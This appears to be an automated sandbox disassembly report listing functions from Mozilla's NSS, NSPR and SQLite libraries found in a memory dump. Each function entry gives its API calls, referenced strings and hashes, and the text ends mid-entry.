Part of subcall function 6C640600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,D73B9555,?,?,?,?,?,6C6405E2), ref: 6C6406CA
Part of subcall function 6C640600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6405E2), ref: 6C6406E6

PR_EnterMonitor.NSS3 ref: 6C68C0F2
PR_ExitMonitor.NSS3 ref: 6C68C10E
PR_ExitMonitor.NSS3 ref: 6C68C081

Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C71945B
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719479
Part of subcall function 6C719440: EnterCriticalSection.KERNEL32 ref: 6C719495
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C7194E4
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719532
Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C71955D

PR_EnterMonitor.NSS3 ref: 6C68C068

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C640600: GetProcAddress.KERNEL32(?,?), ref: 6C640623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C68C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C68C183
free.MOZGLUE(00000000), ref: 6C68C18E
PR_LoadLibrary.NSS3(?), ref: 6C68C1A3
PR_EnterMonitor.NSS3 ref: 6C68C1D4
PR_ExitMonitor.NSS3 ref: 6C68C1F3
PR_CallOnce.NSS3(6C7B2318,6C68CA70), ref: 6C68C210
PR_EnterMonitor.NSS3 ref: 6C68C22B
PR_ExitMonitor.NSS3 ref: 6C68C247
PR_EnterMonitor.NSS3 ref: 6C68C26A
PR_ExitMonitor.NSS3 ref: 6C68C287
PR_UnloadLibrary.NSS3(?), ref: 6C68C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C68C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C68C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C68C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C68C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C68C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C68C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C68C8D5
free.MOZGLUE(00000000), ref: 6C68C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C68C9E5
free.MOZGLUE(00000000), ref: 6C68CA5A

Strings

NSS_FORCE_TOKEN_LOCK, xrefs: 6C68C77D
NSC_GetFunctionList, xrefs: 6C68C093
NSS_ReturnModuleSpecData, xrefs: 6C68C275
PKCS 11, xrefs: 6C68C2F9, 6C68C314
NSC_GetInterface, xrefs: 6C68C04F
NSC_ModuleDBFunc, xrefs: 6C68C0FC
nss_mod_log, xrefs: 6C68C3CC
Vendor NSS FIPS Interface, xrefs: 6C68C34A
NSS_DISABLE_UNLOAD, xrefs: 6C68C7B0
FC_GetFunctionList, xrefs: 6C68C098
FC_GetInterface, xrefs: 6C68C054
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C68C38D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction ID: bfc164059f426a90be17f7173d43e6af8aaabf75737d0e53c750dc60fc8f5212
Opcode Fuzzy Hash: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction Fuzzy Hash: 4142A0B1A062049FDF00DF54D88AF9A3BB0FB46348F058138D90A9BB61E731D555CBAD

Function 6C763FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C763FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C763FFE
malloc.MOZGLUE(-00000003), ref: 6C764016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C79FC62), ref: 6C76404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C76407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764112
malloc.MOZGLUE(00000000), ref: 6C76411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C76414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764160
free.MOZGLUE(?), ref: 6C76416C
malloc.MOZGLUE(?), ref: 6C7641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C764520), ref: 6C764244
GetEnvironmentStrings.KERNEL32 ref: 6C76424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7642E4
malloc.MOZGLUE(00000002), ref: 6C7642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764342
GetStdHandle.KERNEL32(000000F6), ref: 6C7643AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7643B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764410

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C76445E
CloseHandle.KERNEL32(?), ref: 6C76446B
free.MOZGLUE(?), ref: 6C764482
free.MOZGLUE(00000000), ref: 6C764492
free.MOZGLUE(00000000), ref: 6C7644A4
GetLastError.KERNEL32 ref: 6C7644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7644BE
free.MOZGLUE(?), ref: 6C7644C7
free.MOZGLUE(00000000), ref: 6C7644D5
free.MOZGLUE(00000000), ref: 6C7644EA

Strings

=, xrefs: 6C7644F8
D, xrefs: 6C764396
NSPR_INHERIT_FDS=, xrefs: 6C7641E9

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction ID: 23935f0d9413965d2c645673b8da9021651e89a91f21d93ee0585dd14c0b0eec
Opcode Fuzzy Hash: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction Fuzzy Hash: B202F470E043559FEB10CFAACA947AEBBB4AF06308F244179EC65A7F41D7319804DB91

Function 6C676D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C77A8EC,0000006C), ref: 6C676DC6
memcpy.VCRUNTIME140(?,6C77A958,0000006C), ref: 6C676DDB
memcpy.VCRUNTIME140(?,6C77A9C4,00000078), ref: 6C676DF1
memcpy.VCRUNTIME140(?,6C77AA3C,0000006C), ref: 6C676E06
memcpy.VCRUNTIME140(?,6C77AAA8,00000060), ref: 6C676E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676E38

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C676E76
TlsGetValue.KERNEL32 ref: 6C67726F
EnterCriticalSection.KERNEL32(?), ref: 6C677283

Strings

!, xrefs: 6C677123

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction ID: a0762196239a323abfd35addf185e031389bad86fbd11ab7c43b1b5a9c4769e8
Opcode Fuzzy Hash: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction Fuzzy Hash: 7B729E75D052199FDF21CF28CC8879ABBB5EB49304F1445A9E80CA7701EB31AA85CFA5

Function 6C5E3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5E3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5E410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E4452, 6C5E4486, 6C5E44EA, 6C5E4571, 6C5E4580, 6C5E458F, 6C5E475A, 6C5E47FA
%s at line %d of [%.10s], xrefs: 6C5E4495, 6C5E44F9, 6C5E459E, 6C5E4769, 6C5E4809
database corruption, xrefs: 6C5E4490, 6C5E44F4, 6C5E4599, 6C5E4764, 6C5E4804

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction ID: b39231fc6646ed9759bb5b54d2c4575b348b7eccfbc0ac5690f5997df00c517c
Opcode Fuzzy Hash: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction Fuzzy Hash: 7D82A375A04205CFCB04CFA9C984B9EB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6C6BAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6BACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C6BACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C6BACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C6BAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6BADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADF0

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6BB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C6BB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB40C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction ID: 55dc86e3d85ddee7acbb1eb7ab738f2044b414fd00b935375330946e1411942d
Opcode Fuzzy Hash: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction Fuzzy Hash: 7922B171904301AFE710CF14CC84BAA77E1AF8530CF14857CE9596B792E772E869CB9A

Function 6C601F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6025F3

Strings

multiple recursive references: %s, xrefs: 6C6022E0
H, xrefs: 6C60329F
unsafe use of virtual table "%s", xrefs: 6C6030D1
%s.%s.%s, xrefs: 6C60302D
table %s has %d values for %d columns, xrefs: 6C60316C
no tables specified, xrefs: 6C6026BE
a NATURAL join may not have an ON or USING clause, xrefs: 6C6032C1
too many references to "%s": max 65535, xrefs: 6C602FB6
cannot join using column %s - column not present in both tables, xrefs: 6C6032AB
too many columns in result set, xrefs: 6C603012
H, xrefs: 6C60322D
access to view "%s" prohibited, xrefs: 6C602F4A
no such index: "%s", xrefs: 6C60319D
recursive reference in a subquery: %s, xrefs: 6C6022E5
%s.%s, xrefs: 6C602D68
'%s' is not a function, xrefs: 6C602FD2
cannot have both ON and USING clauses in the same join, xrefs: 6C6032B5
no such table: %s, xrefs: 6C6026AC

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction ID: 5b53488fc50b79662d8843b336a581a44049c7e70e31fe1dc69c78b18773f816
Opcode Fuzzy Hash: 1c0043ce0f9ca4074ed2ecd78db43d52b2651509ce8305af52b756e024c8619e
Instruction Fuzzy Hash: D6D25B74F042098FDB08CF99C688BDDB7B2BF49308F288169D955BBB51D731A846CB58

Function 6C63ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63ED38

Part of subcall function 6C5D4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C63EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C63EFE4

Part of subcall function 6C6FDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F129
sqlite3_mprintf.NSS3(optimize), ref: 6C63F1D1
sqlite3_free.NSS3(?), ref: 6C63F368

Strings

fts3tokenize, xrefs: 6C63F30F
fts4aux, xrefs: 6C63ECF9
fts3_tokenizer, xrefs: 6C63EE1A, 6C63EEA8
fts3, xrefs: 6C63F247
optimize, xrefs: 6C63F199, 6C63F1CC, 6C63F211
snippet, xrefs: 6C63EF05, 6C63EF37, 6C63EF7C
offsets, xrefs: 6C63EFAF, 6C63EFDF, 6C63F01F
fts4, xrefs: 6C63F2AD
unicode61, xrefs: 6C63EDB5
matchinfo, xrefs: 6C63F04F, 6C63F082, 6C63F0C2, 6C63F0F2, 6C63F124, 6C63F169
simple, xrefs: 6C63ED79
porter, xrefs: 6C63ED97

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction ID: cc0f7ecc91408ca7f261660d5079c40279b2af3e1c88b45207b63b79cf0c7994
Opcode Fuzzy Hash: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction Fuzzy Hash: E002E2B2B047108BE7049F72AC9572B36B2AFC5308F14653CD95E87B01EB75E846879B

Function 6C6B7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C6B7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6B7D1E

Part of subcall function 6C6B7870: SECOID_FindOID_Util.NSS3(?,?,?,6C6B91C5), ref: 6C6B788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7E58

Part of subcall function 6C6B7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6B91C5), ref: 6C6B78BB
Part of subcall function 6C6B7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6B91C5), ref: 6C6B78FA
Part of subcall function 6C6B7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7930
Part of subcall function 6C6B7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B7951
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B7964
Part of subcall function 6C6B7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C6B797A
Part of subcall function 6C6B7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C6B7988
Part of subcall function 6C6B7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C6B7998
Part of subcall function 6C6B7870: free.MOZGLUE(00000000), ref: 6C6B79A7
Part of subcall function 6C6B7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6B91C5), ref: 6C6B79BB
Part of subcall function 6C6B7870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6B91C5), ref: 6C6B79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C6B7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6B7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C6B8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6B8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C6B8093
SECOID_FindOID_Util.NSS3 ref: 6C6B7F29

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B8072
SECOID_FindOID_Util.NSS3 ref: 6C6B80F5

Part of subcall function 6C6BBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C6B800A,00000000,?,00000000,?), ref: 6C6BBC3F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction ID: 160ea4729a07efe57f7b23598f4b0b156b22397a0b5767c37455a3c67114b1ab
Opcode Fuzzy Hash: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction Fuzzy Hash: 8FE1B4716083019FD710CF28C880B5B77E5EF49348F14496DE98AABB61E731EC25CB6A

Function 6C641C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

